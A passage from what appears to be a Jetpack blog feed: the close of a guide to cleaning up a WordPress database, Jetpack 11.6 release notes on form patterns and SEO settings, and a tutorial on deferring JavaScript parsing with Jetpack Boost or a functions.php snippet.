    Make sure to click on Save Changes when you’re done. 

    You can delete any existing pingbacks and trackbacks from your WordPress database using a plugin like WP-Optimize. You can also do this via phpMyAdmin.

    Open your database with phpMyAdmin and click on the SQL tab. Then, enter the following command

    UPDATE wp_posts SET ping_status= “closed”;

    Remember to switch “wp-posts” with the name of your database table. Then, click on OK to delete the data. 

    6. Delete unused media files

    Media files like images and videos can make your content more engaging for your readers. As you update old posts and pages, you might switch your media files for higher-quality images. 

    Even if you stop using an image in your posts, it will still be referenced in your database. So, it’s worth deleting unused media files from the Media Library.

    You can do this manually by heading to Media → Library. Then, click Delete Permanently under any files you’d like to remove.

    deleting items from the Media Library

    This process can take a long time if you have many media files in your library. Fortunately, a plugin like Media Cleaner can speed up the process. It will scan your library for unused files and automatically delete them. 

    Frequently asked questions

    By now, you should have a good idea of how to clean up a WordPress database. If you have any remaining questions, this section will answer them.

    Why does a WordPress database need to be cleaned?

    Your WordPress database can become bloated over time. Besides your website’s essential data, your database will hold on to unnecessary items like spam comments, multiple post revisions, pingbacks, and transients. 

    A bloated database can slow down your website’s loading times, which can be harmful from a Search Engine Optimization (SEO) perspective and frustrating for your visitors. Additionally, an unoptimized database can make the WordPress admin dashboard slower and decrease your efficiency. 

    How often should I clean my WordPress database?

    This will depend on the size of your site and how frequently you update it. A weekly cleanup should be more than enough for a small to medium website. For larger sites with frequent content updates and activity, a bi- or tri-weekly cleanup could be more suitable. 

    Can a database cleanup break my WordPress site?

    Unfortunately, deleting tables from your database can break your WordPress site. If you’re not experienced in database optimization, you might accidentally remove essential website data.

    For this reason, it’s crucial to back up your WordPress website before running any database optimizations. With Jetpack VaultPress Backup, you can automate this process and make copies of all your files. Then, you can restore an earlier site version in seconds if anything goes wrong. 

    Optimize your WordPress database

    A bloated WordPress database can harm your loading times and make the admin dashboard more frustrating to use. Unfortunately, many databases accumulate unnecessary data over time, so you’ll need to remove it. 

    To recap, here are two main methods to clean up and optimize your WordPress database:

    1. Use a database optimization plugin like WP-Optimize.
    2. Utilize phpMyAdmin to optimize database tables and delete unnecessary data.

    Before you start cleaning a WordPress database, we recommend backing up your site in case something goes wrong. Jetpack VaultPress Backup can automate the backup process and save your files and data off-site. You can also restore an older version of your site in minutes!

  • Jetpack 11.6 – Update to the Form Block and more

    With Jetpack 11.6, we added new features to the Form Block and our SEO tools, together with several other improvements and bug fixes for a better Jetpack experience.

    Read more: Jetpack 11.6 – Update to the Form Block and more

    The easiest way to create WordPress forms

    This month we shipped block pattern support for Jetpack Forms, making form creation more effortless than ever. With this feature, you can view, select and customize existing form templates without a hassle. Use the new Explore Form Patterns button to find the perfect template quickly:

    Step 1: Add the Form Block and click Explore Form Patterns
    Step 2: Select among the existing form templates and start customizing

    We also deployed several fixes and enhancements to boost the block performance.

    SEO matters!

    We have new SEO features that will be available with Jetpack 11.6:

    • You can now tell search engines not to index a specific post or page. This is helpful if you want to share a public post or page with specific people but not the web. This can be enabled within the editor in the SEO section by toggling “Hide page from search engines.”
    • You can also set a custom SEO title for individual posts and pages. A page’s title tag is displayed as part of the search snippet in a search engine’s results page, as well as in the browser tab, giving readers an indication of the topic being discussed.
    You can test new SEO features under the Jetpack SEO section

    Automattic Certified as a Most Loved Workplace

    Our parent company Automattic has been certified as a Most Loved Workplace by Best Practice Institute research and analysis. The Most Loved Workplace validation provides the most comprehensive look at workplace sentiment for organizations today. To learn more about Automattic’s certification and read why folks love working here, visit our page on Most Loved Workplace.  

    We continue to grow and have some exciting open positions at Automattic, including in Engineering, Product, Marketing, Business Development, HR, Customer Support, and more. Work for us, from anywhere: https://automattic.com/work-with-us/

    Join Automattic!
    Work for us, from anywhere: https://automattic.com/work-with-us/

    A big thank you to everyone who contributed to this release: Adnan Haque, Adrian Moldovan, Al-Ameen Ogundiran, Anthony Grullon, Antony Agrios, Brad Jorsch, Brandon Kraft, Briley Hooper, Chris Jean, Christian Gastrell, Damián Suárez, Dan Roundhill, Daniel Post, Derek Smart, Donncha Ó Caoimh, Douglas Henri, Dusty Reagan, Eric Binnion, Foteini Giannaropoulou, Gabriel Demichelis, George Stephanis, Gergely Márk Juhász, Grant Kinney, Heyde Moura, Ivan Ottinger, Jared, Jason Moon, Jasper Kang, Jennifer Swisher, John Caruso, John Webb, Juanma Rodriguez Escriche, Karen Attfield, Kev, Kuba Birecki, Linas Valiukas, Luiz Kowalski, Matt Wiebe, Miguel San Segundo, Miguel Xavier Penha Neto, Mike Stott, Nate Weller, Nauris Pūķis, Omar Alshaker, Osk, Panos (Panagiotis Synetos), Paul Bunkham, Peter Petrov, Philip Jackson, Pierre, Piotr Stankowski, Rafael Agostini, Renato Augusto Gama dos Santos, Robert Felty, Samiff, Sergey Mitroshin, Steve D, Steven Dufresne, Tim Broddin, Welly, Wilmerson da Silva, Wojtek Naruniec, Yaroslav Kukharuk, bindlegirl, dkmyta, jboland88, jcheringer, nunyvega, thingalon, vykes-mac

  • How to Defer Parsing of JavaScript in WordPress

    JavaScript is one of the most popular programming languages in the world. Most websites use it to create more dynamic experiences for visitors. Critical features like contact forms and site analytics are just a couple of ways JavaScript is put into practice on a daily basis. Unfortunately, while it’s highly useful, all of this code has the potential to slow down your site. 

    Deferring parsing of JavaScript (also just called, “deferring JavaScript”) means telling your site to load your non-essential JavaScript code last. This simple tweak can improve your page loading times and overall performance, depending on the number of scripts your website uses.

    In this article, we’ll break down exactly what parsing is and what deferring involves. We’ll also discuss how deferring JavaScript can benefit your site and show you how to do it. Finally, we’ll wrap up with some frequently asked questions (FAQs) to address any remaining doubts. 

    What does “defer parsing of JavaScript” mean?

    When you visit a website, your browser requests files from a server. These files contain HTML, CSS, and JavaScript for the browser to parse (interpret) in order to create a visual and interactive web page.

    Websites often require your browser to load dozens (or even hundreds) of elements and files for just a single page. Here’s a quick example from one of Google’s pages, so you can see how many files it uses:

    list of files from Google from the Network tab of Google Developer Tools

    When your browser parses HTML files, it stops to render any CSS that it finds and to execute JavaScript code. Until the browser has finished executing that code, it won’t continue to load the rest of the page.

    In practice, you might not notice this delay if your website is very well optimized (if it loads really quickly). But the delay is there, and the more JavaScript your site uses, the longer it can be. If your website isn’t optimized for performance, parsing of JavaScript can significantly slow down its loading times.

    Deferring the parsing of JavaScript means telling your browser, “Hey, if you run into this JavaScript code, don’t parse it until you’re done with the rest of the page.” From the visitor’s perspective, this means the visible elements of the page will load faster. Then, the JavaScript will finish executing in the background, and no one will be any the wiser (except you and the browser).

    What are the benefits of deferring JavaScript?

    The primary benefit of deferring JavaScript is that pages will load faster for visitors. Scripts will still need to load in the background, but deferring them should improve your Largest Contentful Paint (LCP) score, which is one of three Core Web Vital metrics.

    It’s important to remember that page loading time is one of the most important aspects of a great user experience. If a website takes too long to load, you’ll typically lose a percentage of visitors. Moreover, slow loading times can give the impression that there’s something wrong with your site.

    How to defer parsing of JavaScript in WordPress

    WordPress offers more than one way to optimize your website. When it comes to deferring JavaScript, there are two methods you can use. 

    The first method is the easiest because it involves using a plugin.

    1. Defer JavaScript parsing with a free plugin

    If you’re not comfortable editing your website’s files and adding code to them, your best bet is to use a plugin. One of the best tools you can use to defer non-essential JavaScript in WordPress is Jetpack Boost.

    Jetpack Boost homepage design

    Jetpack Boost is a free plugin you can use to optimize your WordPress site’s performance. It’s incredibly straightforward to configure, making it an excellent choice for beginners. 

    Once you activate the plugin, you’ll need to connect to a WordPress.com account (you can use a free account for this). 

    When you’re ready, go to Jetpack → Boost in your WordPress dashboard, and you’ll get a quick overview of how your website is doing in terms of performance.

    speed test from Jetpack Boost

    If you look at the options below, you’ll see a setting that says Defer Non-Essential JavaScript. You can toggle this setting, and it will automatically defer parsing of JavaScript throughout your website.

    option to defer non-essenntial JavaScript

    The plugin specifies non-essential JavaScript because it only impacts scripts that aren’t critical to the website.

    Once this setting is enabled, be sure to look through your website to ensure that everything is working well. If you notice anything unexpected, simply disable the feature.

    Note that Jetpack Boost can also enable lazy loading and optimize your site’s CSS. This means that the plugin will move critical CSS to the start of each HTML document so that the browser parses it first. This setting is particularly important for improving your First Input Delay (FID) score.

    2. Defer parsing of JavaScript using the functions.php file

    The second method involves editing your theme’s functions.php file. The process is not overly complicated, but adding code to WordPress can sometimes result in unexpected side effects.

    This method is for experienced users, as a lot can happen by deleting just one file or even accidentally adding a space in the wrong place. Remember, you’ll want to only defer non-essential JavaScript to avoid hurting the user experience.

    To be safe, we recommend backing up your website fully before editing any WordPress files. Even if you have a recent backup, create another one so that you have a restore point before making any changes. If you have Jetpack VaultPress Backup, the most recent version of your site will already be saved for you. 

    There are two ways to edit the functions.php file. You can use the WordPress Theme File Editor, which you can access from the Appearance menu. Keep in mind that this option is only available if you’re not using a block theme that supports Full Site Editing (FSE).

    Once you access the editor, select your active theme from the dropdown menu to the right and look for the functions.php file in the list.

    Edit Themes area of WordPress

    You can use the editor to add or remove code from any theme files. Still, we recommend against modifying any existing code unless you understand its purpose.

    Adding code to functions.php should be safe as long as it’s from a trusted source. The following code snippet will configure your website to defer parsing of JavaScript:

    function defer_js( $url ) {
    
        if ( is_user_logged_in() ) return $url; 
    
        if ( FALSE === strpos( $url, '.js' ) ) return $url;
    
        if ( strpos( $url, 'jquery.js' ) ) return $url;
    
        return str_replace( ' src', ' defer src', $url );
    
    }
    
    add_filter( 'script_loader_tag', 'defer_js', 11 );

    This code will automatically defer all JavaScript on your site, but it won’t touch jQuery scripts. However, it won’t work if you’re logged in to avoid issues with the dashboard not loading properly.

    Add that script at the end of the functions.php file so that it doesn’t interfere with any of the other code inside. Click Update File at the bottom of the page, and that’s it!

    If you don’t have access to the WordPress theme file editor but are comfortable working with code on a server, you can edit functions.php by connecting to your website via File Transfer Protocol (FTP). You’ll need to use an FTP client like FileZilla to do this. Remember, be sure you take a full site backup before doing anything.

    Once you connect to your website’s server, you’ll need to find the WordPress root folder. This is the folder that contains all of your site’s files. It’s usually named www, public_html, or your site’s name.

    Open that folder and go to wp-content/themes. There should be several folders, one for each theme installed on your site. Identify your active theme’s folder and open it. The functions.php file should be right inside.

    finding the functions.php file in WordPress

    Right-click on that file and look for an option that says something like Edit (this will vary depending on the FTP client you use). That option will open the file using your default text editor. From here, you can add the code snippet we shared earlier and then save the changes to the file.

    The same rules apply when editing WordPress files via FTP. Don’t edit any code if you’re unsure what it does, and be wary about adding code snippets unless you trust their source.

    You can always restore your WordPress site using the recent backup if you run into errors after editing the functions.php file. Jetpack VaultPress Backup is a fantastic option in these cases because it offers one-click restore functionality even if your site is completely down.

    Frequently asked questions about deferring JavaScript

    If you still have any questions about how deferring JavaScript works, this section will answer them. Let’s start by talking about the potential side effects of deferring scripts.

    Can deferring JavaScript break your site?

    Yes, depending on the plugins and theme you’re using, it’s possible that deferring JavaScript could break certain elements of your site. And, if you’re using the manual method, an error in your code could bring your site down entirely.  

    That’s why it’s safest to use a tool like Jetpack Boost to take care of this task. While it’s still possible that deferring JavaScript could cause an issue, you can easily deactivate the feature or plugin entirely. 

    Is deferring parsing of JavaScript the same as “removing render-blocking JavaScript”?

    If you use website performance measurement services like PageSpeed Insights or GTMetrix, you might notice they also recommend eliminating render-blocking JavaScript from your website. Due to the language, it can be easy to confuse this optimization suggestion with deferring parsing of JavaScript.

    Render-blocking JavaScript refers to any code that blocks your site from rendering. In many cases, the best solution is to eliminate this code if it doesn’t fulfill a specific purpose. If it has a function, you can defer it instead.

    Determining which scripts are needed and which aren’t will depend on your judgment. But services like GTMetrix can help you identify unused JavaScript on your website.

    list of unused JavaScript files on a site

    Any scripts that fall under this category should be safe to remove. For other scripts, you can use either plugins (like Jetpack Boost) or modify the functions.php file manually to defer them.

    Can I safely remove JavaScript instead of deferring it?

    This depends on which scripts you’re referring to. It’s not uncommon for WordPress websites to accumulate unused code as they grow. This happens as you install and deactivate plugins, try out third-party services, and stop using them.

    Leaving that “orphaned” JavaScript on your website can sometimes create a security risk. Moreover, it can impact your website’s performance because browsers might still need to parse it. 

    If you check out the previous question, we show you how to use GTMetrix to identify JavaScript on your website that you can remove safely.

    Does deferring JavaScript improve page performance?

    Deferring JavaScript should make your website’s pages load faster. How much faster will depend on the number of scripts you’re deferring and how well optimized your website is.

    If you already have a fast website, and you’ve taken steps to optimize it, like removing unused scripts, deferring JavaScript might not have a significant impact. Still, every bit of optimization counts when it comes to page performance.

    What else can I do to improve my page loading speeds?

    There are a lot of ways to improve page loading speeds for a website. For the greatest impact, here are the optimizations we suggest implementing:

    1. Consider using a managed WordPress hosting provider.
    2. Implement a Content Delivery Network (CDN).
    3. Improve Core Web Vitals in WordPress.
    4. Minify CSS.
    5. Enable lazy loading in WordPress.

    Optimizing your website for performance can take a while, but WordPress plugins like Jetpack and Jetpack Boost make the process much easier and faster.

    Remember that any effort you make to improve your page loading speeds will more than pay off over time. If you can keep your website running in top shape, your visitors will have a much better experience.

    Improve your website’s performance today

    There are a lot of changes you can make to your website to improve its performance. If you use multiple third-party scripts and plugins on your site, there’s probably a lot of JavaScript code running in the background. That code is important, but it may prevent the rest of your website from loading as fast as possible.

    Deferring parsing of JavaScript in WordPress is easier than you might think and can significantly impact your website’s performance. Here are the ways you can defer JavaScript parsing:

    1. Use a plugin like Jetpack Boost.
    2. Defer JavaScript using the functions.php file.

    Jetpack offers several plugins to improve your WordPress website’s performance. Jetpack Boost is only one of them. If you use the Jetpack plugin, you also get access to a free CDN that can drastically improve your site’s loading speeds. Consider starting with Jetpack today!